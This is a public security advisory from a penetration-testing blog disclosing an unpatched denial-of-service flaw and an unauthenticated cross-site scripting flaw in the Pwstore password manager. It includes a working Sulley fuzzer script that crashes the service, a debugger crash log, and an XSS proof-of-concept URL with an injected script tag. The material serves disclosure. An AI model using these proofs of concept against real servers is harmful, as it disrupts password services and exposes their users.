Pwstore

##############################################################################

                     - RealPentesting Advisory -

###############################################################################

  Title: MULTIPLE VULNERABILITIES IN PWSTORE 2010.8.30.0
  Severity: Medium
  History: 16.Apr.2013 Vulnerability reported
  Authors: Josep Pi Rodriguez, Pedro Guillen Nuñez, Miguel Angel de Castro Simon
  Organization: RealPentesting
  URL: http://www.realpentesting.blogspot.com
  Product: Pwstore
  Version: 2010.8.30.0
  Vendor: Aultware
  Url Vendor: http://www.aultware.com/pwstore.html
  Platform: Windows
  Type of vulnerability: Denial of Servive (DoS) AND  Cross Site Scripting (XSS)
  Issue fixed in version: (Not fixed)
  CVE Identifiers: CVE-2013-5657 (DoS), CVE-2013-5658 (XSS)

[ DESCRIPTION SOFTWARE ]

From vendor website:
pwStore is a department / multi-user password management tool designed for small to medium sized IT groups.
The purpose of pwStore is to consolidate all of the department's passwords into one secure location while allowing for multiple users to access this information.
As of version 2.0, pwStore has been re-written as a webserver and runs as a Windows service.

[ VULNERABILITY DETAILS ]

DENIAL OF SERVICE (DOS):

Pwstore suffers from a dos vulnerability.
In order to exploit the vulnerability You have to put the characters \x0d\x0a (Hexadecimal) after the HTTP Headers as you can see above:
--------------
GET / HTTP/1.1
HOST:\x0d\x0a
\r\n\r\n
---------------
We make using the sulley framework a poc code in order to exploit the vulnerability:

########################################################################################################
#!/usr/bin/env python
from sulley import *
import sys
import time

s_initialize("HTTP")

s_static("GET / HTTP/1.1\r\n")
s_static("Host")
s_static(":\x0d\x0a")
s_static(" ")
s_string("192.168.1.39")
s_static("\r\n")
s_static("\r\n")

print "Instantiating session"
sess = sessions.session(session_filename="https_pwstore.session", proto="ssl", sleep_time=0.50)
print "Instantiating target"
target = sessions.target("192.168.1.39", 443)
#target.procmon = pedrpc.client("127.0.0.1", 26002)
#target.netmon = pedrpc.client("127.0.0.1", 26001)

target.procmon_options =  {
    "proc_name" : "savant.exe",
    "stop_commands" : ['wmic process where (name="savant.exe") delete"'],
    "start_commands" : ['C:\\savant\\savant.exe'],
}


print "Adding target"
sess.add_target(target)

print "Building graph"
sess.connect(s_get("HTTP"))

print "Starting fuzzing now"
sess.fuzz()
#####################################################################################

Evidence Log
---------
(2a4.cfc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=01c40062 ecx=3fffffff edx=00000003 esi=01c40062 edi=00000000
eip=01017dce esp=0155fd94 ebp=0155fe98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** WARNING: Unable to verify checksum for C:\pwStore\C70RUN.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\pwStore\C70RUN.dll -
C70RUN!memcpy+0x3a:
01017dce f3a5            rep movs dword ptr es:[edi],dword ptr [esi]


#####################################################################################

CROSS SITE SCRIPTING (XSS):

The software suffers from a xss vulnerability too an this is in unatheunticated manner. You can check the vulnerability with this url POC:
https://192.168.1.39/?81c93"><script>alert(1)</script>86eed54cabcc98664=1&FormState=XJYDWJHIGP&tmp__UserName=aa&tmp__Password=aa&pressedButton=save_btn


[ VENDOR COMMUNICATION ]

16/04/2013 : vendor contacted but no response
20/04/2013: vendor contacted again.No response
29/04/2013: PUBLIC DISCLOSURE

No hay comentarios:

Publicar un comentario